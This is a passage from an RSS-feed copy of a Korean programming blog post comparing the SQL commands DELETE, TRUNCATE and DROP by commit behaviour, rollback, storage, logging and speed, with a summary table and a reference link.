&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;전체 데이터를 한번에 삭제&lt;/u&gt;하는 방식 ( &amp;lt;-&amp;gt; DELETE)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;최초 생성되었을 당시의 Storage만 남기고, 데이터가 남겨있던 Storage는 Release&lt;/b&gt;&lt;span&gt;&amp;nbsp;됩니다&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- TRUNCATE TABLE을 하면 &lt;b&gt;CREATE TABLE을 한 직후의 상태와 같습니다&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;자동 COMMIT&lt;/b&gt;이 되는 명령어이기 때문에,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;이미 지운 데이터는 되돌릴 수 없습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1662341529649&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;TRUNCATE TABLE dbtable;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&lt;b&gt;3) DROP&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;테이블 자체를 완전히 날려&lt;/u&gt;버리는 방식입니다. (&lt;b&gt;처음부터 없었던 테이블&lt;/b&gt;처럼)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- 테이블 자체가 모두 지워지며, 해당 테이블에 생성되어있던 모든 인덱스도 사라집니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;-&amp;nbsp;&lt;/span&gt;&lt;b&gt;자동 COMMIT&lt;/b&gt;&lt;span&gt;이 되는 명령어이기 때문에,&amp;nbsp;&lt;/span&gt;&lt;b&gt;이미 지운 데이터는 되돌릴 수 없습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- 오라클에서(오라클10g부터)는 테이블이 삭제되는 것이 아니라 윈도우의 휴지통 개념처럼 잠시 삭제 -&amp;gt; 테이블 이름이 BIN$..로 변경됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1662341529649&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;DROP TABLE dbtable;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한눈에 알아보기 쉽게 표로 정리해 보았습니다.  &lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 204px;&quot; border=&quot;1&quot; data-ke-style=&quot;style14&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;DROP&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;TRUNCATE&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;DELETE&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;종류&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;DDL&lt;/td&gt;
&lt;td&gt;DDL (일부 DML 성격)&lt;/td&gt;
&lt;td&gt;DML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;COMMIT&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;AUTO COMMIT&lt;/td&gt;
&lt;td&gt;AUTO COMMIT&lt;/td&gt;
&lt;td&gt;사용자 COMMIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ROLLBACK&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;불가능&lt;/td&gt;
&lt;td&gt;불가능&lt;/td&gt;
&lt;td&gt;COMMIT 이전에 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Storage&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Storage 삭제 (테이블 스키마 삭제)&lt;/td&gt;
&lt;td&gt;최초 테이블 생성 시 할당된 Storage만 남기고 삭제 (테이블 스키마 유지)&lt;/td&gt;
&lt;td&gt;데이터 모두 DELETE 해도 Storage 삭제X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;수행 시&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;테이블 정의 자체 삭제&lt;/td&gt;
&lt;td&gt;테이블을 최소 생성된 초기 상태로 만듬&lt;/td&gt;
&lt;td&gt;데이터만 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;사용 예제&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;u&gt;DROP TABLE&lt;/u&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;STUDENT;&lt;/td&gt;
&lt;td&gt;&lt;u&gt;TRUNCATE TABLE&lt;/u&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;STUDENT;&lt;/td&gt;
&lt;td&gt;&lt;u&gt;DELETE FROM&lt;/u&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;STUDENT;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;로그&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;안남김&lt;/td&gt;
&lt;td&gt;안남김&lt;/td&gt;
&lt;td&gt;남김&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;속도&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;빠름&lt;/td&gt;
&lt;td&gt;빠름&lt;/td&gt;
&lt;td&gt;느림&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhaxt3/btrLmzbLpmp/mvQGwVGnnNXo6mKXHuk1e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhaxt3/btrLmzbLpmp/mvQGwVGnnNXo6mKXHuk1e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhaxt3/btrLmzbLpmp/mvQGwVGnnNXo6mKXHuk1e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhaxt3%2FbtrLmzbLpmp%2FmvQGwVGnnNXo6mKXHuk1e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;824&quot; height=&quot;216&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;DELETE에 조건(Where)이 없으면 TRUNCATE와 동일하게 모든 데이터가 삭제되고 테이블 스키마만 남는 빈 껍데기 형태가 됩니다.&lt;br /&gt;그러면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;속도가 빠른 TRUNCATE 쓰는게 좋겠네?&lt;/u&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;라고 생각하기 쉽지만&lt;br /&gt;DELETE 명령어는 데이터 복구가 가능하고, 로그를 남기므로, 중점을 어디에 두느냐에 따라 다르게 사용될 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span&gt; &amp;zwj;♂️ &lt;b&gt;정리&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DELETE 명령어는 데이터는 지워지지만 테이블 용량은 줄어 들지 않습니다. 원하는 데이터만 지울 수 있습니다. 삭제 후 잘못 삭제한 것을 되돌릴 수 있습니다.&lt;/li&gt;
&lt;li&gt;TRUNCATE 명령어는 용량이 줄어 들고, 인덱스 등도 모두 삭제 됩니다. 테이블은 삭제하지는 않고, 데이터만 삭제한다. 한꺼번에 다 지워야 합니다. 삭제 후 절대 되돌릴 수 없습니다.&lt;/li&gt;
&lt;li&gt;DROP 명령어는 데이블 전체를 삭제, 공간, 객체를 삭제합니다. 삭제 후 절대 되돌릴 수 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt; &amp;nbsp; 참고한 글&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;a href=&quot;https://wikidocs.net/4021&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://wikidocs.net/4021&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1662341502661&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;6) DELETE, TRUNCATE, DROP 명령어의 차이점&quot; data-og-description=&quot;* DELETE, TRUNCATE, DROP 명령어는 모두 삭제하는 명령어이지만 중요한 차이점이 있다. ![](https://wikidocs.net/images/page/4 ...&quot; data-og-host=&quot;wikidocs.net&quot; data-og-source-url=&quot;https://wikidocs.net/4021&quot; data-og-url=&quot;https://wikidocs.net/4021&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/xu7Wu/hyPHrTireO/OPMjZpB8IRL80zwoC13xjK/img.png?width=100&amp;amp;height=76&amp;amp;face=0_0_100_76,https://scrap.kakaocdn.net/dn/bSaQTD/hyPHmYKPC7/zzfMI2tbgfP6wtgGtkHkDK/img.png?width=824&amp;amp;height=216&amp;amp;face=0_0_824_216&quot;&gt;&lt;a href=&quot;https://wikidocs.net/4021&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://wikidocs.net/4021&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/xu7Wu/hyPHrTireO/OPMjZpB8IRL80zwoC13xjK/img.png?width=100&amp;amp;height=76&amp;amp;face=0_0_100_76,https://scrap.kakaocdn.net/dn/bSaQTD/hyPHmYKPC7/zzfMI2tbgfP6wtgGtkHkDK/img.png?width=824&amp;amp;height=216&amp;amp;face=0_0_824_216');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;6) DELETE, TRUNCATE, DROP 명령어의 차이점&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;* DELETE, TRUNCATE, DROP 명령어는 모두 삭제하는 명령어이지만 중요한 차이점이 있다. ![](https://wikidocs.net/images/page/4 ...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;wikidocs.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Postgresql</category>
      <category>Delete</category>
      <category>drop</category>
      <category>PostgreSQL</category>
      <category>SQL</category>
      <category>Truncate</category>
      <author>chief</author>
      <guid isPermaLink="true">https://chiefcoder.tistory.com/58</guid>
      <comments>https://chiefcoder.tistory.com/58#entry58comment</comments>
      <pubDate>Mon, 5 Sep 2022 12:00:36 +0900</pubDate>
    </item>
  </channel>
</rss>